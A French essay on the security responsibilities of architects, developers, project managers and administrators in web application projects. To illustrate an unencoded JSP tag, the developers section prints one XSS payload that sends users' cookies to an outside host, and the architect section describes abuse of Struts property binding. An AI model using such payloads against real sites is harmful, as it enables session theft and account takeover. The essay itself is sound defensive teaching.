

Les rôles de la sécurité

Philippe PRADOS

pp@philippe.prados.name



*Préservez l'environnement,
n'imprimez pas ce document*

TABLE DES MATIERES

1.	L'architecte.....	3
2.	Les développeurs.....	3
3.	Le chef de projet	4
4.	L'administrateur.....	4

Avant propos

Quel est le rôle des différents intervenant des projets pour intégrer la sécurité ? L'architecte, les développeurs, le chef de projet et l'administrateur ont chacun une part à jouer.

La sécurité des applications est un objectif qu'il est préférable de prendre en compte dès le début du projet. C'est un sujet complexe, généralement négligé par manque de compétence, de temps et de budget. Pourtant, résoudre les problèmes de sécurités à la fin d'un projet est très difficile et très coûteux. En effet, cela a un impact à tous les niveaux, de l'architecture au déploiement des patches. Une application sécurisée exige une prise en charge complète par tous les intervenants : de l'architecte au développeur en passant par le chef de projet et l'administrateur.

Quel est le rôle de chacun afin d'améliorer la sécurité ?

1. L'ARCHITECTE

L'architecte doit intégrer une partie des risques et les moyens de les résoudre. Son rôle est double : architecturer le développement et l'infrastructure. Il doit sélectionner les outils permettant une qualité, une productivité et une sécurité optimum.

On trouve souvent des architectures de développement utilisant un framework n'offrant qu'une seule URL pour toutes les pages et un champ caché. De nombreux frameworks en Open Source offrent cette approche. Cela améliore la productivité et uniformise les développements de tous les développeurs. Les compétences peuvent être utilisées sur différents projets.

Le choix de n'avoir qu'une seule URL pour l'ensemble de l'application empêche le développeur de vérifier la navigation de l'internaute entre les pages. Comment vérifier le chemin d'un utilisateur ? Il y a deux approches : gérer un état sur le serveur pour se rappeler de la dernière page ou exploiter l'en-tête `referer` du protocole HTTP. La première approche interdit l'utilisateur d'ouvrir plusieurs fenêtres, de mémoriser des liens sur l'application, d'utiliser le bouton retour du navigateur. Très rapidement, il y a désynchronisation entre l'état sur le serveur et la page de l'utilisateur. L'approche `referer` permet le contrôle de la navigation si, et seulement si, chaque page possède une URL unique. Cet en-tête indique la page précédente, celle où l'utilisateur a cliqué. Si toutes les pages sont référencés par une seule URL, l'en-tête n'a plus de valeur exploitable. Il indique toujours la même valeur. Au final, les développeurs ayant fait un mauvais choix stratégique au départ — n'avoir qu'une seule URL — font l'impasse sur le contrôle de la navigation. C'est pourtant un problème important de sécurité. Un pirate peut sauter le processus de paiement et valider son achat !

Le choix d'un framework est très important pour la sécurité. Des frameworks très réputés n'ont pas intégré ce besoin lors de leurs conceptions. Faire le mauvais choix peut entraîner l'impossibilité de corriger l'application lorsque la faille est découverte. Qui acceptera de tous reprendre à zéro ?

Par exemple, le framework Struts (<http://jakarta.apache.org/struts/index.html>) propose un mécanisme d'introspection permettant d'alimenter automatiquement les propriétés des objets métiers à partir des noms des champs. Si le champ s'appelle `client.adresse.codepostal`, l'algorithme va naviguer dans les objets pour alimenter la propriété code postal de l'adresse du client. Cet algorithme est très efficace car il évite la rédaction répétitive de cette phase de l'analyse de la requête.

L'algorithme est trop permissif. Un pirate peut choisir le nom qu'il désire pour un champ de formulaire, et ainsi modifier la propriété voulue. S'il soumet un formulaire avec la propriété `session.utilisateur.nom`, il peut modifier le nom de l'utilisateur après son authentification. Toute propriété, accessible directement ou indirectement à partir de l'objet racine, peut être modifiée. Cela fait la joie des pirates. Les logs deviennent inconsistants.

L'architecte intervient également au niveau physique. Il doit sélectionner les technologies adéquates pour permettre une communication sécurisée entre les différents serveurs. Il doit identifier le positionnement et le rôle des différents pare-feu. Il peut utiliser des technologies de sécurité, imposant des contraintes de déploiement.

Il doit également sécuriser l'administration de l'application. Qui, quand et comment peut-on administrer l'application ? Où vont s'enregistrer les logs ? Comment réagir si une faille est découverte sur un des maillons ? Est-ce que le réseau est en danger ou le risque est-il maîtrisable ? Est-ce que l'application est décomposée en sous-systèmes afin de limiter les risques ?

L'architecte doit répondre à ces interrogations. Ne pas le faire au début expose à de sérieuses déconvenues.

2. LES DEVELOPPEURS

Le développeur a également une part de responsabilité importante dans la sécurité. Chaque ligne de code peut être une faille. Le problème majeur est que les développeurs ne sont pas formés. Il existe pourtant des cours sur la sécurité qui leurs sont dédiés. Pour de très bonnes raisons (délai, coût) ils ne les suivent pas. Chaque développeur est censé être un virtuose de la sécurité. Comme chacun sait, les technologies Internets sont très anciennes et il n'existe, sur le marché, que des gurus ;-)

Les technologies offertes aux développeurs ne sont pas sécurisées. Toutes les formations que j'ai pu consulter expliquent précisément ce qu'il ne faut pas faire. Il n'est pas étonnant alors de trouver de nombreuses failles dans les développements.

Un exemple parmi tant d'autres sous J2EE. Il est possible d'indiquer la valeur d'une variable dans une page JSP. Pour cela, il est recommandé d'utiliser un marqueur spécifique : `<jsp:getProperty/>`.

```
Bonjour <jsp:getProperty name="user" property="name" />
```

Ce marqueur n'encode pas la valeur de la variable lors de son inclusion dans la page. Si le nom de l'utilisateur possède du javascript, celui-ci sera exécuté. Par exemple, si un pirate arrive à alimenter le nom de l'utilisateur avec la valeur suivante :

```
<script>(new Image).src="http://www.hack.org/?c="+document.cookies</script>
```

Il peut capturer le cookie d'un utilisateur et permettre ainsi le vol de sa session, même avec l'utilisation du cryptage SSL. Cette attaque est applicable à de nombreuses technologies du Net : ASP, PHP, etc.

Il ne suffit pas de coder correctement, il faut également ajouter de nombreux code défensif. Toutes les technologies d'Internet ont des maillons faibles. Le développeur ne peut pas modifier un protocole ou une fonctionnalité d'un navigateur. Il doit alors ajouter du code spécifique pour détecter ou limiter les possibilités des pirates. Des ethicals hackers peuvent aider les développeurs à détecter les attaques.

3. LE CHEF DE PROJET

Le chef de projet a également un rôle à jouer pour la sécurité. Il doit mettre en place les procédures de qualification du code, organiser les formations et les audits. Il doit faire intervenir les spécialistes à différents jalons critiques. Cela permet de réduire les impacts des failles, découvertes en cours de développement. Il doit obtenir du client les soutiens nécessaires afin d'imposer des processus organisationnels pour pouvoir réagir rapidement. La sécurité est un processus global ayant souvent un impact sur l'organisation de l'entreprise.

Une application sécurisée ne se déploie pas comme les autres. En effet, il n'est pas envisageable de l'interrompre pendant plusieurs semaines afin de respecter le processus de déploiement, avec recette de toutes les fonctionnalités, signatures des différents intervenant, etc. Il n'est pas envisageable de laisser une faille ouverte en priant pour que personne ne le remarque. Devant ce dilemme, le chef de projet doit prévoir.

Un processus de déploiement rapide doit permettre une mise à jour de l'application en quelques heures. Cela doit avoir été prévu dès le début du projet. La rédaction de tests unitaires et d'intégrations complets et automatiques peuvent faciliter cela. Après la correction d'une faille, un processus automatique qualifie l'application pour donner le feu vert. Pour des failles simples, deux heures doivent suffire à la publication du patch.

4. L'ADMINISTRATEUR

L'administrateur du projet a un rôle complexe à jouer. En effet, il doit parfaitement connaître l'application et les technologies utilisés afin d'identifier les risques de son application. De nouvelles failles sont découvertes régulièrement. Certaines peuvent s'appliquer à l'application. Il n'est pas possible de s'appuyer sur des bases de connaissances car chaque application est unique. Il est facile de patcher un serveur web, un serveur d'application, un langage ou une base de donnée. Il est plus difficile de modifier l'application lorsqu'on découvre qu'elle est vulnérable à une nouvelle forme d'attaque. Qui possède les connaissances suffisantes pour faire le lien entre une alerte et sa concrétisation dans l'application ?

L'administrateur doit être très vigilant et consulter les logs et les listes de diffusions sur la sécurité. Il doit faire intervenir les ethicals hackers s'il a besoin d'aide pour analyser un comportement étonnant. Il doit avoir le pouvoir d'arrêter l'application s'il le juge nécessaire. Cela demande un soutien de sa hiérarchie.

De nombreuses attaques applicatives exploitent des bugs de développements. Avec la généralisation des pare-feu, c'est souvent le dernier maillon faible. C'est également le plus difficile à corriger. De nombreux intervenant ont un rôle à jouer.

Les clients devraient être plus exigeant lors de la sélection des sociétés de services. Un projet qui fonctionne, mais basé sur une architecture impossible à sécuriser, sera très rapidement interrompu. De nombreux services ont été ouverts trop vite et on dû fermer en pleine gloire afin de corriger des failles majeures. Cela n'améliore pas la confiance des internautes. L'image de l'entreprise, obtenu après de long mois de marketing et des dépenses importantes en communication, peut être ternie par un service publié trop rapidement. Un audit de sécurité, effectué avant le déploiement, est une bonne assurance de réussite.